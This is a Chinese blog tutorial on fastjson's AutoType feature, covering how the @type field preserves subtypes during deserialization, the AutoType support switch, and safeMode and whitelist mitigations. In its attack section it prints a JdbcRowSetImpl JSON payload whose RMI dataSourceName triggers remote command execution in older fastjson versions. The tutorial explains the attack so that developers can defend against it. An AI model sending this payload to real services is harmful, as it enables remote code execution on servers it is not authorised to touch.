当前位置:网站首页>初探fastJson的AutoType
初探fastJson的AutoType
2022-07-29 05:20:00 【本本的香菜】
文章目录
1. AutoType 何方神圣?
参考 https://juejin.cn/post/6846687594130964488
fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
但是,fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。
其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:
- 1、基于属性
- 2、基于setter/getter
而我们所常用的JSON序列化框架中,FastJson和jackson在把对象序列化成json字符串的时候,是通过遍历出该类中的所有getter方法进行的。Gson并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化成json。
1.1 type字段
假设我们有以下Java类:
public interface Fruit {
}
@Data
@AllArgsConstructor
@NoArgsConstructor
public class Apple implements Fruit{
private BigDecimal price;
}
@Data
@AllArgsConstructor
@NoArgsConstructor
public class Store {
private String name;
private Fruit fruit;
}
那么问题来了,我们上面的定义的Fruit只是一个接口,序列化的时候fastjson能够把属性值正确序列化出来吗?如果可以的话,那么反序列化的时候,fastjson会把这个fruit反序列化成什么类型呢?
我们尝试着验证一下,基于(fastjson 1.2.75):
Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);
我们创建了一个store,为他指定了名称,并且创建了一个Fruit的子类型Apple,然后将这个store使用 JSON.toJSONString 进行序列化,可以得到以下JSON内容:
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
那么,这个fruit的类型到底是什么呢,能否反序列化成Apple呢?我们再来执行以下代码:
Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);
执行结果报错,我们尝试将Fruit转换成Apple,但是抛出了异常。
以上现象,我们知道,当一个类中包含了一个接口(或抽象类)的时候,在使用fastjson进行序列化的时候,会将子类型抹去,只保留接口(抽象类)的类型,使得反序列化时无法拿到原始类型。
那么有什么办法解决这个问题呢,fastjson引入了AutoType,即在序列化的时候,把原始类型记录下来。
使用方法是通过 SerializerFeature.WriteClassName 进行标记,即将上述代码中的
String jsonString = JSON.toJSONString(store);
修改成:
String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);
输出结果如下:
{
"@type":"com.example.redis.entity.Store",
"fruit":{
"@type":"com.example.redis.entity.Apple", //多了@type映射全类名,反序列就可以找到对应的类
"price":0.5
},
"name":"Hollis"
}
这就是AutoType,以及fastjson中引入AutoType的原因。
1.2 setAutoTypeSupport
首先,可以通过
ParserConfig.getGlobalInstance().isAutoTypeSupport(); //获取是否允许AutoType(默认是fasle)
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 设置全局支持或禁止AutoType
尝试关闭AutoType后:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false); // 设置全局支持或禁止AutoType
发现以上的代码还是可以 正常 的根据@type字段来反序列化。
但是如果使用了范型,如下:
再有以下Java类:
@Data
@AllArgsConstructor
@NoArgsConstructor
@ToString
public class Result<T>{
private T data;
}
再对Store进行封装:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
//ParserConfig.getGlobalInstance().setSafeMode(true);
Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
Result<Store> t = new Result<>(store);
String jsonString = JSON.toJSONString(t, SerializerFeature.WriteClassName);
System.out.println("toJSONString : " + jsonString);
Result result = JSON.parseObject(jsonString, Result.class);
System.out.println("parseObject : " + result);
输出结果:
toJSONString : {"@type":"com.example.redis.entity.Result","data":{"@type":"com.example.redis.entity.Store","fruit":{"@type":"com.example.redis.entity.Apple","price":0.5},"name":"Hollis"}}
com.alibaba.fastjson.JSONException: autoType is not support. // 异常autoType is not support
....
若开启setAutoTypeSupport(true),
toJSONString : {"@type":"com.example.redis.entity.Result","data":{"@type":"com.example.redis.entity.Store","fruit":{"@type":"com.example.redis.entity.Apple","price":0.5},"name":"Hollis"}}
parseObject : Result(data=Store(name=Hollis, fruit=Apple(price=0.5))) //可以正常反序列化
2.反序列化攻击
因为有了autoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取@type到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。
那么就可以利用这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。
举个例子,黑客比较常用的攻击类库是com.sun.rowset.JdbcRowSetImpl,这是sun官方提供的一个类库,这个类的dataSourceName支持传入一个rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。
而fastjson在反序列化时会调用目标类的setter方法,那么如果黑客在JdbcRowSetImpl的dataSourceName中设置了一个想要执行的命令,那么就会导致很严重的后果。
如通过以下方式定一个JSON串,即可实现远程命令执行(在早期版本中,新版本中JdbcRowSetImpl已经被加了黑名单)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
这就是所谓的远程命令执行漏洞,即利用漏洞入侵到目标服务器,通过服务器执行命令。
3.AutoType 安全模式
这些漏洞的利用几乎都是围绕AutoType来的,于是,在 v1.2.68版本中,引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化类变种攻击。
设置了safeMode后,@type 字段不再生效,即当解析形如{“@type”: “com.java.class”}的JSON串时,将不再反序列化出对应的类。(无论白名单和黑名单,都不支持autoType)。
ParserConfig.getGlobalInstance().setSafeMode(true);
所以一般使用AutoType时建议使用指定白名单的方式。
// 全局开启AutoType,不建议使用
// ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// 建议使用这种方式,小范围指定白名单
ParserConfig.getGlobalInstance().addAccept("xxx.xxx.");
4.参考
边栏推荐
- “山东大学移动互联网开发技术教学网站建设”项目实训日志五
- Reporting Service 2016 自定义身份验证
- How can Plato obtain premium income through elephant swap in a bear market?
- Under the bear market of encrypted assets, platofarm's strategy can still obtain stable income
- The difference between link and @import importing external styles
- Get the number of daffodils
- 与张小姐的春夏秋冬(2)
- iSCSI vs iSER vs NVMe-TCP vs NVMe-RDMA
- Gluster集群管理小分析
- Training log 4 of the project "construction of Shandong University mobile Internet development technology teaching website"
猜你喜欢

Sliding switch of tab of uniapp component

Strategic cooperation with many institutions shows the strength of the leading company of platofarm yuancosmos

Simple optimization of interesting apps for deep learning (suitable for novices)

Gluster集群管理小分析

ReportingService WebService Form身份验证

如何 Pr 一个开源composer项目

Extreme deflation and perpetual motion machine model will promote the outbreak of platofarm

如何零代码制作深度学习的趣味app(适合新手)

中海油集团,桌面云&网盘存储系统应用案例

Okaleido Tiger 7.27日登录Binance NFT,首轮已获不俗成绩
随机推荐
Synchronous development with open source projects & codereview & pull request & Fork how to pull the original warehouse
Training log II of the project "construction of Shandong University mobile Internet development technology teaching website"
运动健康深入人心,MOVE PROTOCOL引领品质生活
与张小姐的春夏秋冬(2)
MOVE PROTOCOL全球健康宣言,将健康运动进行到底
ThinkPHP6 输出二维码图片格式 解决与 Debug 的冲突
Print out all prime numbers between 1-100
Laravel service container (Application of context binding)
Fantom (FTM) 价格将在未来几天飙升 20%
Research and implementation of flash loan DAPP
获取水仙花数
PHP如何生成二维码?
Huawei 2020 school recruitment written test programming questions read this article is enough (Part 2)
Fantom (FTM) 在 FOMC会议之前飙升 45%
Differences between href and SRC
Shanzhai coin Shib has a US $548.6 million stake in eth whale's portfolio - traders should be on guard
Sports health is deeply rooted in the hearts of the people, and move protocol leads quality life
完全去中心化的编程模式,不需要服务器,也不需要ip,就像一张漫无目的的网络、四处延伸
浅谈分布式全闪存储自动化测试平台设计
与多家机构战略合作,背后彰显PlatoFarm元宇宙龙头的实力